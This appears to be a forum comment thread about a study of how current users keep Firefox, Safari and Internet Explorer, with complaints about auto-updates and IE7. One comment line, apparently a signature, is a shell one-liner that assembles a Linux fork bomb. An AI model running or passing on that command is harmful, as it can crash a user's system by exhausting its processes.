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Firefox Users Stay Ahead On the Update Curve
Reader Alex links to news of a study comparing the currency and patch level of various Web browsers, excerpting:
"Firefox users were far and away the most likely to use the latest version, with an overwhelming 83.3 percent running an updated browser on any given day. However, despite Firefox's single click integrate auto-update functionality, 16.7 percent of Firefox users still continue to access the Web with an outdated version of the browser, researchers said. The study also revealed that the majority of Safari users (65.3) percent were likely to use the latest version of the browser between December 2007 and June 2008, after Safari version 3 became available. Meanwhile, Microsoft's Internet Explorer users ranked last in terms of safe browsing. Between January 2007 and June 2008, less than half of IE users — 47.6 percent — were running the most secure browser version during the same time period."
I leave the auto-update feature on in Firefox because I trust that when Mozilla pushes updates they are valuable to me in terms of security or features and that they've been well tested. This has generally held to be true.
On the other hand, on any system I administer I immediately disable automatic updates because Microsoft sometimes pushes patches that only partially address a problem, creating a false sense of security, and then later re-issue them, push things like updates to Windows Media DRM as critical updates (it's not critical to me, Microsoft!), and release updates that go on to cause problems with other software or system stability in general.
When I can trust Microsoft to apply only security updates to IE (or other components of my choosing), maybe I'll consider turning automatic updates back on. Maybe.
Where I work we had IE 7 a couple years ago but the corporate intranet didn't work properly or IT didn't want to support it or something so I'm forced to use IE 6. I couldn't update IE if I wanted to on the computer where I work. I use firefox at home but I go to quite a few websites during my lunch break. Unless they're filtering out IP's from corporate domains I suspect the results of the study are skewed by users surfing while at work.
But it doesn't do this, and that's the point. It merely pops up when you exit the software, and it doesn't have a death-clock countdown until the reboot that you need to interrupt to rescue any unsaved work (my main gripe with Windows update).
It seems that corporate/government users don't have as much of a choice in when to update their browsers and a good number don't have the choice to switch to firefox and are forced to use IE. I know that at my job (government) we can't update on our own and are forced to wait for the IT staff to push the updates through, sometimes days or weeks after they become available.
Safari uses the same update method as all apple's software -- in OS X it uses the built in software update mechanism, and in Windows, it uses a port of that mechanism. It's about as annoying as all the others (except windows update, because it doesn't pop up every 5 minutes, and it doesn't have a death clock before destroying all your work by restarting).
ftp://ftp.ncsa.uiuc.edu/Mosaic/
Download. Bring back the good ol memories.
I'm not sure why they couldn't have the .update option for version 2.xx at least offer the option to update to version 3. It just kept telling me there were no new updates available. I wouldn't call it 'single click' at all.
The option to update to Firefox 3 instead of another security minor version of Firefox 2 (which will still get security updates till the end of the year) hasn't been turned on at the server end yet, and will likely only be done at the next minor version update, like Firefox 3.0.1 or later.
THEN, you'll have a single click.
It's easy when you consider that Internet Explorer and Windows Explorer are the same program. I remember back when IE 5 came out. If the upgrade program failed in just the right way you would reboot to a blank desktop with no icons, no task bar, no way out except the power switch or reset button. You had to reboot in DOS, edit win.ini to use progman instead of explorer, enter Windows and revert to the previous version of IE. (Sometimes progman didn't even work right. I found it much easier to use control.exe as the shell, because that brought up control panel, which was exactly what was needed.) Then, you had to restart in MS-DOS mode, undo the change to win.ini so that you could go back into Windows and try again. That is, if the tech support person you called knew what the problem was and how to fix it. If not, you were pretty much hosed until you re-installed Windows.
Good, inexpensive web hosting
Well, browsers are a little different, from a security perspective you could argue they *are* broke whenever new vulnerabilities are discovered. For a web browser, they need continuing updates to address new security vulnerabilities. Unfortunately there's only so much interest in continuing security-only fixes to older versions...
In a real emergency, we would have all fled in terror, and you would not have been notified.
In XP I found out you could type
NET STOP WUAUSERV
That stops the Windows Update service if you're not ready to reboot. When you do reboot the updates will be installed as a side effect.
In Vista you can set it to download the updates automatically and only install them when you reboot - I've never seen a deathclock.
echo -e 'global _start\n _start:\n mov eax, 2\n int 80h\n jmp _start' > a.asm; nasm a.asm -f elf; ld a.o -o a;
The reason most Firefox users use the most up to date version is that it's the only way to get rid of the annoying pop-ups.
Go to "preferences" -> "advanced" -> "updates", uncheck "check for updates to firefox" and no pop up anymore, very hard indeed
I gave up with the idea of an useful sig...
When using Portable Firefox, the automatic updates installs the normal version when updating. This results in something you don't want. So I uncheck the automatic update, and do this manually.
Firefox 1.5-2.0 have Gopher support, as did IE5 and IE6 (although it was later disabled in a patch). I believe the reason that it was removed in Firefox and IE was because it's a codepath that wouldn't receive much testing and so it might have bugs or security holes. Considering any Gopher ramifications of any protocol change or sandbox change is an unnecessary overhead (and if you really need Gopher to view a gopher site you can just install a Gopher client... speaking of which that'd be something to have as a Firefox addon).
I can't tell you how annoying it was to have IE7 forced through the automatic updates system. I would normally say it is a good thing to update the browser... as it is the single most common entry point for spyware, adware, etc (with the email client being the single most common entry point for viruses).
HOWEVER:
a) The "Menu" bar is missing by default (yea the File, Edit, View, Etc... toolbar).
Try explaining to a client over the phone how to "Right-click in an area toward the top of the browser below the title bar, but above the content window, and not in the address bar, oh and not on another toolbar, somewhere kinda blank, maybe to the right of the green arrow, oh that area isn't blank on your screen, oh yea I don't mean blank, just without buttons, did you get the menu, well it should have check marks next to toolbar names, uh something like Standard / Address Bar / Links, yea you got it, wait no, I didn't say click on address bar, ok do it again and turn address bar back on, oh it wasn't on... yea turn it on and then turn on, yes I mean make a check mark by it, yes, ok try it again and turn on the one called, uh something like, just read me what your menu says, yes, that one, ok now do you have File / Edit / View at the top of the window, oh no it's below the address bar and buttons, yea, ok bring up the menu again and uncheck "lock toolbars", then click on the edge, it has little bumps, well more like lines, yea you can grab it there and move it, then you didn't click on the right area, yea try again, ok move it up, well then you have to move the address bar back down, try wiggling it at the top, move it around until the address bar goes onto its own line, yea keep trying, you aren't wiggling it properly, then just drop it there and move the address bar, no it can't go all the way at the top, I don't know why, ask Microsoft why, yea, ok well was there anything else..." and so on.
b) The "Address" bar is hidden by default
See "a"
c) FTP is broken (yep, just fails with "cannot be displayed" when you click an ftp:// link ... you have to go into "File > Open With Windows Explorer" to get it to open properly)
Here is a big problem, most software download sites have mirrors at ftp:// links, which fail without any reason. IE 6 and previous would re-task the current IE window to a Windows Explorer window and process the FTP request... no so with IE 7(they may have fixed this since). The net result is that users who may try to update their software, or download new software, are unable to. Sites that worked last night suddenly don't. (I first ran into this when a customer called me saying they couldn't download the new version of their anti-virus software, talk about security updates).
d) Common buttons are missing or drastically re-skinned to the extent that users are lost
e) Tabs confuse IE Users (yes I know they are off by default, but users click on things and enable things accidently, and then call me asking why it is broken).
. . .
Shortly after IE 7's relese we implemented a remote desktop application for all phone support requests.
Read the report http://www.techzoom.net/insecurity-iceberg
IE, Firefox, Opera and Safari dominate, >98%
Most people in big companies cannot update their IExplorer. Updates come through when IT have verified them. It's a trade off between the security risk of an old browser and the risk of breaking the entire company if the update is bad. Most BIG COMPANIES use IExplorer. Nothing to see here folks.
http://davesboat.blogspot.com/
FX3 seems to connect fairly decently to that site...